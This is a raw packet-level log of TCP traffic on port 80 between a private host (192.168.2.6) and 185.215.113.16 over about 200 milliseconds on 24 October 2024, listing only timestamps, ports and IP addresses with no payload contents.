Oct 24, 2024 04:58:14.257594109 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.257633924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.283416033 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.295344114 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.295391083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.295420885 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.295473099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.295756102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.295871019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.295900106 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.295905113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.295922041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.295958996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.295959949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296006918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296010971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296046972 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296081066 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296092033 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296092033 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296114922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296153069 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296155930 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296156883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296186924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296202898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296225071 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296243906 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296257973 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296277046 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296303988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296308041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296338081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296360016 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296375990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296387911 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296411037 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296442986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296463966 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296480894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296490908 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296519995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296526909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296555996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296570063 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296591997 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296611071 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296638012 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296649933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296684980 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296700954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296720982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296737909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296756029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296806097 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296806097 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296817064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296850920 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296866894 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296905994 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296906948 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296941996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296961069 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.296977043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.296986103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.297012091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.297029972 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.297049999 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.297060966 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.297086000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.297102928 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.297120094 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.297132969 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.297153950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.297171116 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.297189951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.297223091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.297243118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.297259092 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.297275066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.297292948 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.297314882 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.297327042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.297380924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.314661980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.314716101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.314769030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.314801931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.314807892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.314837933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.314851999 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.314867973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.314902067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.314937115 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.340420008 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.340455055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.340491056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.340614080 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.340614080 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.340615034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.343601942 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.343636990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.343662024 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.343684912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.343693972 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.343746901 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.343748093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.343801975 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.343836069 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.343858957 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.343871117 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.343898058 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.343904972 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.343939066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.343940020 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.343962908 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.343978882 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.343992949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.344014883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.344034910 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.344049931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.344084024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.344110012 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.344116926 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.344132900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.344151974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.344162941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.344191074 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.344209909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.344243050 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.349721909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.349805117 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.349813938 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.349855900 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.349862099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.349891901 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.349906921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.349927902 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.349947929 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.350029945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.355931997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.355962992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.355994940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.356010914 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.356028080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.356036901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.357017040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.357070923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.357079029 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.357105970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.357140064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.357192993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.357197046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.357225895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.357260942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.357264996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.357295036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.357307911 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.357389927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.357419968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.357443094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373163939 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373198032 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373234034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373250961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373258114 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373285055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373320103 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373352051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373385906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373471022 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373481035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373481989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373481989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373481989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373505116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373558044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373558998 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373593092 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373615026 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373627901 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373639107 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373668909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373713970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373713970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373869896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373904943 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373939037 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.373951912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373951912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.373971939 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374043941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374064922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374102116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374136925 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374155045 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374155045 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374166965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374181986 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374222040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374241114 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374293089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374295950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374329090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374362946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374383926 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374397993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374424934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374444008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374530077 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374563932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374582052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374599934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374634981 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374654055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374680042 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374687910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374722004 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374756098 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374773979 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374789000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374804974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374824047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374845028 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374859095 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.374869108 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.374912024 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412383080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412439108 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412460089 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412468910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412502050 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412514925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412538052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412549973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412585020 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412594080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412630081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412640095 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412658930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412676096 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412695885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412710905 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412729979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412739038 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412765026 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412775040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412798882 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412811041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412834883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412847042 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412884951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412913084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412930965 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412954092 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.412966967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.412996054 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413012028 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413043976 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413088083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413120031 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413156986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413168907 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413201094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413208961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413254976 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413269997 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413300037 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413316011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413336039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413346052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413371086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413378000 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413405895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413454056 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413480043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413511038 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413532972 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413557053 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413563967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413597107 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413630962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413644075 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413675070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413747072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413796902 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413800955 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413831949 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413842916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413866997 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413876057 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413902998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.413913012 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413947105 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.413999081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.414047003 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.414067030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.414139032 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.414186954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.414489985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.414541006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.414542913 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.414577961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.414589882 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.414611101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.414623022 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.414644957 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.414679050 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.414690018 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.414715052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.414724112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.414745092 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.414761066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.414787054 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.433938980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.433991909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.434026003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.434043884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.434061050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.434094906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.434103966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.434129000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.434191942 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.456224918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.456254959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.456311941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.456311941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.457258940 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.457293034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.457321882 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.457328081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.457345963 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.457381010 CEST	49996	80	192.168.2.6	185.215.113.16
